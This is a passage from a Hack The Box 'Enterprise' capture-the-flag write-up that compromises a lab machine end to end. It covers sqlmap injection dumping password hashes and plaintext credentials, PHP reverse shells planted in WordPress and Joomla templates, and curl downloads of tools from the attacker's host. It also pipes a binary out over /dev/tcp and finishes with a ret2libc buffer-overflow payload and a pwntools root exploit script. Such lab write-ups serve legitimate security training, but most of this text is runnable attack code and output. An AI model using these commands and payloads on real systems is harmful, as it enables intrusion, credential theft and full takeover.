="http://10.10.10.61/wp-content/plugins/lcars/lcars_dbpost.php?query=" + for x in range(150): + tmp = url + str(x) + print(str(x),str(requests.get(tmp).text).strip()) + + +So once the python script saved, we execute it : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise] + → nano script.py + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise] + → python script.py + ('0', '') + ('1', 'Hello world!') + ('2', '') + ('3', 'Auto Draft') + ('4', 'Espresso') + ('5', 'Sandwich') + ('6', 'Coffee') + ('7', 'Home') + ('8', 'About') + ('9', 'Contact') + ('10', 'Blog') + ('11', 'A homepage section') + ('12', '') + ('13', 'enterprise_header') + ('14', 'Espresso') + ('15', 'Sandwich') + ('16', 'Coffee') + ('17', '') + ('18', '') + ('19', '') + ('20', '') + ('21', '') + ('22', '') + ('23', 'enterprise_header') + ('24', 'cropped-enterprise_header-1.jpg') + ('25', '') + ('26', '') + ('27', '') + ('28', '') + ('29', '') + ('30', 'Home') + ('31', '') + ('32', '') + ('33', '') + ('34', 'Yelp') + ('35', 'Facebook') + ('36', 'Twitter') + ('37', 'Instagram') + ('38', 'Email') + ('39', '') + ('40', 'Hello world!') + ('41', '') + ('42', '') + ('43', '') + ('44', '') + ('45', '') + ('46', '') + ('47', '') + ('48', '') + ('49', '') + ('50', '') + ('51', 'Stardate 49827.5') + ('52', 'Stardate 49827.5') + ('53', 'Stardate 50893.5') + ('54', 'Stardate 50893.5') + ('55', 'Stardate 52179.4') + ('56', 'Stardate 52179.4') + ('57', 'Stardate 55132.2') + ('58', 'Stardate 55132.2') + ('59', '') + ('60', '') + ('61', '') + ('62', '') + ('63', '') + ('64', '') + ('65', '') + ('66', 'Passwords') + ('67', 'Passwords') + ('68', 'Passwords') + ('69', 'YAYAYAYAY.') + ('70', 'YAYAYAYAY.') + ('71', 'test') + ('72', '') + ('73', '') + ('74', '') + ('75', '') + ('76', '') + ('77', '') + ('78', 'YAYAYAYAY.') + ('79', '') + ('80', '') + ('81', '') + ('82', '') + ('83', '') + ('84', '') + ('85', '') + ('86', '') + ('87', '') + ('88', '') + ('89', '') + ('90', '') + ('91', '') + ('92', '') + ('93', '') + ('94', '') + ('95', '') + ('96', '') + ('97', '') + ('98', '') + ('99', '') + ('100', '') + + +even though the page has 5 posts, according to our results it has quite a few more, so maybe our script isn't all that great, for lcars_db.php we'll use sqlmap instead : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise] + → sqlmap -u http://10.10.10.61/wp-content/plugins/lcars/lcars_db.php\?query\=1 --dbs + ___ + __H__ + ___ ___[.]_____ ___ ___ {1.4.2#stable} + |_ -| . [.] | .'| . | + |___|_ [(]_|_|_|__,| _| + |_|V... |_| http://sqlmap.org + + [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program + + [*] starting @ 07:10:04 /2020-03-05/ + + [07:10:04] [INFO] testing connection to the target URL + [07:10:05] [INFO] checking if the target is protected by some kind of WAF/IPS + [07:10:05] [INFO] testing if the target URL content is stable + [07:10:05] [INFO] target URL content is stable + [07:10:05] [INFO] testing if GET parameter 'query' is dynamic + [07:10:06] [WARNING] GET parameter 'query' does not appear to be dynamic + [07:10:06] [WARNING] heuristic (basic) test shows that GET parameter 'query' might not be injectable + [07:10:06] [INFO] testing for SQL injection on GET parameter 'query' + [07:10:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' + [07:10:08] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' + [07:10:09] [INFO] GET parameter 'query' appears to be 'Boolean-based blind - Parameter replace (original value)' injectable (with --string="fatal") + [07:10:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' + [07:10:13] [INFO] GET parameter 'query' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable + it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y + for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y + [07:10:48] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' + [07:10:48] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found + [07:10:50] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test + [07:10:52] [INFO] target URL appears to have 1 column in query + [07:10:53] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. '--dbms=mysql') + [07:10:57] [INFO] target URL appears to be UNION injectable with 1 columns + GET parameter 'query' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y + sqlmap identified the following injection point(s) with a total of 67 HTTP(s) requests: + --- + Parameter: query (GET) + Type: boolean-based blind + Title: Boolean-based blind - Parameter replace (original value) + Payload: query=(SELECT (CASE WHEN (5644=5644) THEN 1 ELSE (SELECT 2592 UNION SELECT 3911) END)) + + Type: error-based + Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) + Payload: query=1 AND (SELECT 9520 FROM(SELECT COUNT(*),CONCAT(0x716a7a7171,(SELECT (ELT(9520=9520,1))),0x716b627671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + --- + [07:11:02] [INFO] the back-end DBMS is MySQL + back-end DBMS: MySQL >= 5.0 + [07:11:04] [INFO] fetching database names + [07:11:04] [INFO] retrieved: 'information_schema' + [07:11:05] [INFO] retrieved: 'joomla' + [07:11:05] [INFO] retrieved: 'joomladb' + [07:11:05] [INFO] retrieved: 'mysql' + [07:11:05] [INFO] retrieved: 'performance_schema' + [07:11:06] [INFO] retrieved: 'sys' + [07:11:06] [INFO] retrieved: 'wordpress' + [07:11:06] [INFO] retrieved: 'wordpressdb' + available databases [8]: + [*] information_schema + [*] joomla + [*] joomladb + [*] mysql + [*] performance_schema + [*] sys + [*] wordpress + [*] wordpressdb + + + +And we found a few databases ! + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise] + → sqlmap -u http://10.10.10.61/wp-content/plugins/lcars/lcars_db.php\?query\=1 -D wordpress -T wp_users -C user_login,user_pass,user_email --dump --hex --threads 5 + ___ + __H__ + ___ ___[.]_____ ___ ___ {1.4.2#stable} + |_ -| . ["] | .'| . | + |___|_ [(]_|_|_|__,| _| + |_|V... |_| http://sqlmap.org + + [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program + + [*] starting @ 07:59:46 /2020-03-05/ + + [...] + + + DB:wordpress + + Table:wp_users + user : william.riker + pass : $P$BFf47EOgXrJB3ozBRZkjYcleng2Q.2. + email : william.riker@enterprise.htb + + Table:wp_posts + I got 1 draft post including password list + + Needed somewhere to put some passwords quickly + ZxJyhGem4k338S2Y + enterprisencc170 + ZD3YxfnSjezg67JZ + u*Z14ru0p#ttj83zS6 + + DB: joomladb + prefix : edz2g + + Command : sqlmap -u http://10.10.10.61/wp-content/plugins/lcars/lcars_db.php?query=1 -D joomladb -T edz2g_users -C username,password,email --dump --threads 10 + Table : edz2g_users + +-----------------+--------------------------------------------------------------+--------------------------------+ + | username | password | email | + +-----------------+--------------------------------------------------------------+--------------------------------+ + | geordi.la.forge | $2y$10$cXSgEkNQGBBUneDKXq9gU.8RAf37GyN7JIrPE7us9UBMR9uDDKaWy | geordi.la.forge@enterprise.htb | + | Guinan | $2y$10$90gyQVv7oL6CCN8lF/0LYulrjKRExceg2i0147/Ewpb6tBzHaqL2q | guinan@enterprise.htb | + +-----------------+--------------------------------------------------------------+--------------------------------+ + + DB: mysql + user: joomladb | 2eb70fd4eb74f31283541aad4e83ab6e077bc0df MySQL4.1/MySQL5 : joomlapassword! + user: root | 95b8a7b0a041cf2011bea41db57315c603285253 MySQL4.1/MySQL5 : NCC-1701E + user:wordpressdb | 10c910bc9c2c46140dc275cb69dc6565de125630 MySQL4.1/MySQL5 : passwordwordpress + + +From there, we have a few credentials to work with, let's try **william.riker:u*Z14ru0p#ttj83zS6** on the wordpress admin pannel : + + + λ root [ 10.10.14.11/23 ] [nihilist/_HTB/Enterprise] + → echo '10.10.10.61 enterprise.htb' >> /etc/hosts + + + +` ![](prg/14_005.png) + +And we are logged in! now we move over to the themes tab to upload our reverse shell : + +![](prg/14_006.png) + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise] + → locate nihilist.php + /home/nihilist/_HTB/Bastard/nihilist.php + /home/nihilist/_HTB/Cronos/nihilist.php + /home/nihilist/_HTB/Haircut/nihilist.php + /home/nihilist/_HTB/Networked/nihilist.php.gif + /home/nihilist/_HTB/October/nihilist.php5 + /home/nihilist/_HTB/Popcorn/nihilist.php + /home/nihilist/_HTB/Popcorn/nihilist.php.gif + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise] + → cp /home/nihilist/_HTB/Popcorn/nihilist.php . + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise] + → nano nihilist.php + + +` ![](prg/14_007.png) + +Once modified we move over to the 404.php file we modified containing our reverse shell : + +![](prg/14_008.png) + +And trying to print out the user flag we get a troll, so we need to see what we have to do from here. + + + www-data@b8319d86d21e:/home$ hostname + hostname + b8319d86d21e + www-data@b8319d86d21e:/home$ ip addr + ip addr + 1: lo: <****LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + valid_lft forever preferred_lft forever + 8: eth0@if9: <****BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default + link/ether 02:42:ac:11:00:04 brd ff:ff:ff:ff:ff:ff + inet 172.17.0.4/16 scope global eth0 + valid_lft forever preferred_lft forever + +From here we see that the current box that we are on , logged in as www-data. we can move in /tmp, and download LinEnum to execute and see what we can do on the box + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise] + → locate LinEnum.sh + /home/nihilist/_HTB/Cronos/LinEnum.sh + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise] + → cp /home/nihilist/_HTB/Cronos/LinEnum.sh . + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise] + → python -m SimpleHTTPServer 8080 + Serving HTTP on 0.0.0.0 port 8080 ... + + + + www-data@b8319d86d21e:/home$ cd /tmp && curl -O http://10.10.14.11:8080/LinEnum.sh && chmod +x LinEnum.sh && ./LinEnum.sh + + +Looking at the results, we see that we are actually WITHIN a docker container, and somehow we have to break free from it. our current ip address within the box is 172.17.0.4/16 so let's see if we can ping any other ip address within this range : + + + www-data@b8319d86d21e:/home$ for x in $(seq 1 255); do ping -W 1 -c 1 172.17.0.$x | grep from; done + <$ for x in $(seq 1 255); do ping -W 1 -c 1 172.17.0.$x | grep from; done + 64 bytes from 172.17.0.1: icmp_seq=0 ttl=64 time=0.153 ms + 64 bytes from 172.17.0.2: icmp_seq=0 ttl=64 time=0.091 ms + 64 bytes from 172.17.0.3: icmp_seq=0 ttl=64 time=0.151 ms + 64 bytes from 172.17.0.4: icmp_seq=0 ttl=64 time=0.041 ms + + +And looking at it, we seem to be able to ping 3 other ip addresses (172.17.0.4 being our docker container.) now running**which nc** we see that netcat isn't available for us, so we have to download a binary locally and then upload it using wget/SimpleHTTPServer like before + + + www-data@b8319d86d21e:/tmp$ curl -O http://10.10.14.11:8080/nc && chmod +x nc + curl -O http://10.10.14.11:8080/nc && chmod +x nc + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed + 100 35520 100 35520 0 0 34016 0 0:00:01 0:00:01 --:--:-- 34022 + www-data@b8319d86d21e:/tmp$ ls -lash + ls -lash + total 128K + 4.0K drwxrwxrwt 3 root root 4.0K Mar 5 08:51 . + 4.0K drwxr-xr-x 73 root root 4.0K Sep 6 2017 .. + 4.0K drwxr-xr-x 2 www-data www-data 4.0K Sep 7 2017 .sam + 36K -rwxr-xr-x 1 www-data www-data 35K Mar 5 08:51 nc + 60K -rw------- 1 www-data www-data 58K Oct 16 2017 sess_09dc3ceeb2cec4020caf3d94f3001509 + 4.0K -rw------- 1 www-data www-data 60 Sep 8 2017 sess_71faa5ea6f4f1d51294af6db00072edd + 4.0K -rw------- 1 www-data www-data 917 Sep 8 2017 sess_b9c02f197e1c999b859d36e1e1040a6e + 8.0K -rw------- 1 www-data www-data 7.2K Oct 17 2017 sess_c84f999fe96f763f1e5928bb1ded0eae + 4.0K -rw------- 1 www-data www-data 60 Oct 20 2017 sess_f4abe5392ffbb75a6ecb22dd4af8accc + + + +From there we can scan the 3 ip addresses we found earlier : + + + www-data@b8319d86d21e:/tmp$./nc -vz 172.17.0.1 1-65535 2>/dev/stdout | grep 'succeeded!' + Connection to 172.17.0.1 22 port [tcp/ssh] succeeded! + Connection to 172.17.0.1 80 port [tcp/http] succeeded! + Connection to 172.17.0.1 443 port [tcp/https] succeeded! + Connection to 172.17.0.1 5355 port [tcp/hostmon] succeeded! + Connection to 172.17.0.1 8080 port [tcp/http-alt] succeeded! + Connection to 172.17.0.1 32812 port [tcp/*] succeeded! + + www-data@b8319d86d21e:/tmp$./nc -vz 172.17.0.2 1-65535 2>/dev/stdout | grep 'succeeded!' + Connection to 172.17.0.2 3306 port [tcp/mysql] succeeded! + + www-data@b8319d86d21e:/tmp$./nc -vz 172.17.0.3 1-65535 2>/dev/stdout | grep 'succeeded!' + Connection to 172.17.0.3 80 port [tcp/http] succeeded! + + + +Unfortunately we don't get to be able to do much more from here, so let's try and see what we can do from the joomla service running on port 8080 using the credentials we found earlier : + + + ZD3YxfnSjezg67JZ:geordi.la.forge + ZxJyhGem4k338S2Y:Guinan + + +` ![](prg/14_009.png) ![](prg/14_010.png) + +Once we are logged in , we go ahead and upload a php reverse shell, just like for the wordpress service by editing a php file : + +Extensions > Templates > Templates > Protostar + +![](prg/14_011.png) ![](prg/14_012.png) + +Save the modified php file, and hit preview to execute the infected php file : + +![](prg/14_013.png) + +And we seem to get into yet another docker container, this time as the 172.17.0.3 + + + 172.17.0.1 (Host machine) + 172.17.0.3 (Joomla) + 172.17.0.4 (Wordpress) + + +From there we can probably guess that **172.17.0.2** is the mysql server. + + + www-data@a7018bfdc454:/home$ mount -l + mount -l + + [...] + + **/dev/mapper/enterprise--vg-root on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro,data=ordered) + /dev/mapper/enterprise--vg-root on /etc/hostname type ext4 (rw,relatime,errors=remount-ro,data=ordered) + /dev/mapper/enterprise--vg-root on /etc/hosts type ext4 (rw,relatime,errors=remount-ro,data=ordered) + /dev/mapper/enterprise--vg-root on /var/www/html type ext4 (rw,relatime,errors=remount-ro,data=ordered) + /dev/mapper/enterprise--vg-root on /var/www/html/files type ext4 (rw,relatime,errors=remount-ro,data=ordered)** + proc on /proc/bus type proc (ro,relatime) + proc on /proc/fs type proc (ro,relatime) + proc on /proc/irq type proc (ro,relatime) + proc on /proc/sys type proc (ro,relatime) + proc on /proc/sysrq-trigger type proc (ro,relatime) + tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755) + tmpfs on /proc/timer_list type tmpfs (rw,nosuid,size=65536k,mode=755) + tmpfs on /proc/timer_stats type tmpfs (rw,nosuid,size=65536k,mode=755) + tmpfs on /proc/sched_debug type tmpfs (rw,nosuid,size=65536k,mode=755) + tmpfs on /sys/firmware type tmpfs (ro,relatime) + + www-data@a7018bfdc454:/home$ cd /var/www/html/files + cd /var/www/html/files + + www-data@a7018bfdc454:/var/www/html/files$ ls + ls + lcars.zip + + +here we see that /var/www/html/files is mounted as the SAME /files directory we found on port 443 at the beginning + +![](prg/14_014.png) + +Creating a quick file using the touch command, we see that we are effectively able to create files in the /files directory. so let's upload our reverse shell using curl just like the previous 2 times : + +![](prg/14_015.png) + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.61] 54016 + bash: cannot set terminal process group (1618): Inappropriate ioctl for device + bash: no job control in this shell + www-data@enterprise:/var/www/html/files$ cd /home + lcd /home + www-data@enterprise:/home$ s + ls + jeanlucpicard + www-data@enterprise:/home$ cd jeanlucpicard + cd jeanlucpicard + www-data@enterprise:/home/jeanlucpicard$ cat user.txt + cat user.txt + 08XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +and that's it ! we have the user flag. + +## **Part 3 : Getting Root Access** + +From there we go as usual into /tmp to upload and then execute LinEnum.sh, and looking at the results, we see that we have an interesting binary in /bin/lcars. so let's copy it locally : + +_Terminal 1:_ + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise] + → nc -lp 9003 | base64 -d > lcars.binary && chmod +x lcars.binary + + +` _Terminal 2:_ + + + www-data@enterprise:/bin$ base64 lcars > /dev/tcp/10.10.14.11/9003 + base64 lcars > /dev/tcp/10.10.14.11/9003 + + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise] + → nc -lp 9003 | base64 -d > lcars.binary && chmod +x lcars.binary + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise] + → ltrace ./lcars.binary + __libc_start_main(0x56588c91, 1, 0xffc87bc4, 0x56588d30 <****unfinished ...****> + setresuid(0, 0, 0, 0x56588ca8) = 0xffffffff + puts("" + ) = 1 + puts(" _______ _______"... _______ _______ ______ _______ + ) = 49 + puts(" | | |_____|"... | | |_____| |_____/ |______ + ) = 49 + puts(" |_____ |_____ | |"... |_____ |_____ | | | \_ ______| + ) = 49 + puts("" + ) = 1 + puts("Welcome to the Library Computer "...Welcome to the Library Computer Access and Retrieval System + + ) = 61 + puts("Enter Bridge Access Code: "Enter Bridge Access Code: + ) = 27 + fflush(0xf7f3fd80) = 0 + fgets + +At this point, we have to give some user input, so let's try and see if there is a certain limit to this input to trigger a buffer overflow + + + fflush(0xf7f2ed80) = 0 + fgets(AAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAa + "AAAAAAAA", 9, 0xf7f2e5c0) = 0xffa1ec17 + strcmp("AAAAAAAA", "picarda1") = -1 + puts("\nInvalid Code\nTerminating Consol"... + Invalid Code + Terminating Console + + ) = 35 + fflush(0xf7f2ed80) = 0 + exit(0 <****no return ...> + +++ exited (status 0) +++ + +and we see that we managed to trigger some kind of a BOF revealling "picarda1" so let's run it within gdb : + + + λ nihilist [ 80.215.152.250 ] [~/_HTB/Enterprise] + → gdb ./lcars.binary + GNU gdb (Debian 8.3.1-1) 8.3.1 + Copyright (C) 2019 Free Software Foundation, Inc. + License GPLv3+: GNU GPL version 3 or later + This is free software: you are free to change and redistribute it. + There is NO WARRANTY, to the extent permitted by law. + Type "show copying" and "show warranty" for details. + This GDB was configured as "x86_64-linux-gnu". + Type "show configuration" for configuration details. + + For help, type "help". + Type "apropos word" to search for commands related to "word"... + Reading symbols from ./lcars.binary... + (No debugging symbols found in ./lcars.binary) + gdb-peda$ r + Starting program: /home/nihilist/_HTB/Enterprise/lcars.binary + + _______ _______ ______ _______ + | | |_____| |_____/ |______ + |_____ |_____ | | | \_ ______| + + Welcome to the Library Computer Access and Retrieval System + + Enter Bridge Access Code: + picarda1 + + _______ _______ ______ _______ + | | |_____| |_____/ |______ + |_____ |_____ | | | \_ ______| + + Welcome to the Library Computer Access and Retrieval System + + + + LCARS Bridge Secondary Controls -- Main Menu: + + 1. Navigation + 2. Ships Log + 3. Science + 4. Security + 5. StellaCartography + 6. Engineering + 7. Exit + Waiting for input: + + +With the picarda1 password we gain access to some sort of a menu within the binary, choosing 4 and then typing something we arrive at something interesting : + + + 1. Navigation + 2. Ships Log + 3. Science + 4. Security + 5. StellaCartography + 6. Engineering + 7. Exit + Waiting for input: + 4 + Disable Security Force Fields + Enter Security Override: + + asd + Rerouting Tertiary EPS Junctions: asd[Inferior 1 (process 4645) exited normally] + Warning: not running + + gdb-peda$ checksec + CANARY : disabled + FORTIFY : disabled + NX : disabled + PIE : ENABLED + RELRO : Partial + + gdb-peda$ aslr + ASLR is OFF + + + +here we use checksec and see that NX and ASLR are both disabled. Back on the machine we check if ASLR is turned off as the binary says so : + + + www-data@enterprise:/bin$ cat /proc/sys/kernel/randomize_va_space + cat /proc/sys/kernel/randomize_va_space + 0 + + +and here it says 0 therefore ASLR is actually disabled. + + + gdb-peda$ r + Starting program: /home/nihilist/_HTB/Enterprise/lcars.binary + + _______ _______ ______ _______ + | | |_____| |_____/ |______ + |_____ |_____ | | | \_ ______| + + Welcome to the Library Computer Access and Retrieval System + + Enter Bridge Access Code: + picarda1 + + _______ _______ ______ _______ + | | |_____| |_____/ |______ + |_____ |_____ | | | \_ ______| + + Welcome to the Library Computer Access and Retrieval System + + + + LCARS Bridge Secondary Controls -- Main Menu: + + 1. Navigation + 2. Ships Log + 3. Science + 4. Security + 5. StellaCartography + 6. Engineering + 7. Exit + Waiting for input: + 4 + Disable Security Force Fields + Enter Security Override: + AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A + + Program received signal SIGSEGV, Segmentation fault. + [----------------------------------registers-----------------------------------] + EAX: 0x216 + EBX: 0x73254125 ('%A%s') + ECX: 0x7ffffde9 + EDX: 0xf7fab010 --> 0x0 + ESI: 0xf7fa9000 --> 0x1d6d6c + EDI: 0xf7fa9000 --> 0x1d6d6c + EBP: 0x41422541 ('A%BA') + ESP: 0xffffd140 ("nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$A"...) + EIP: 0x25412425 ('%$A%') + EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) + [-------------------------------------code-------------------------------------] + Invalid $PC address: 0x25412425 + [------------------------------------stack-------------------------------------] + 0000| 0xffffd140 ("nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$A"...) + 0004| 0xffffd144 ("A%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAs"...) + 0008| 0xffffd148 ("%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-"...) + 0012| 0xffffd14c ("DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(A"...) + 0016| 0xffffd150 ("A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs"...) + 0020| 0xffffd154 ("%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)"...) + 0024| 0xffffd158 ("aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEA"...) + 0028| 0xffffd15c ("A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs"...) + [------------------------------------------------------------------------------] + Legend: code, data, rodata, value + Stopped reason: SIGSEGV + 0x25412425 in ?? () + gdb-peda$ pattern_offset 500 + 500 not found in pattern buffer + gdb-peda$ pattern_offset + Error: missing argument + Search for offset of a value in cyclic pattern + Set "pattern" option for basic/extended pattern type + Usage: + pattern_offset value + + gdb-peda$ pattern_offset %$A% + %$A% found at offset: 212 + + + +Here we found the offset of our pattern (that was 500 chars) at 212. now we just need to find the addresses of system, +9999999 and sh in order to get our root shell using the following command within gdb : **find &system;,+9999999,"sh"** and once we're done we arrive at the following payload : + + + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x60\xc0\xe4\xf7\xf0\xfa\xe3\xf7\xd5\xdd\xf6\xf7 + + +Which is basically 212 As, + system's memory address, + exit + /bin/sh. Another way of doing things is using a python script used to connect remotely to the machine, and directly execute the binary with the correct payload, which effectively gives us a root shell on the machine. + + + #!/usr/bin/env python2 + import time + import struct + from pwn import * + from subprocess import * + + DEBUG = False + RHOST = "10.10.10.61" + RPORT = 32812 + + def conv(num): + return struct.pack("<****I",num) + + payload = "A" * 212 + payload += conv(0xf7e4c060) # system() + payload += conv(0xf7e3faf0) # exit() + payload += conv(0xf7f6ddd5) # 'sh' + + r = remote(RHOST, RPORT) + r.recvuntil("Enter Bridge Access Code: ") + r.sendline("picarda1") + r.recvuntil("Waiting for input: ") + r.sendline("4") + r.recvuntil("Enter Security Override:") + r.sendline(payload) + r.interactive() + +Save it locally, and then execute it : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise] + → ./autopwn.py + zsh: permission denied: ./autopwn.py + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise] + → chmod +x autopwn.py + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise] + → ./autopwn.py + [+] Opening connection 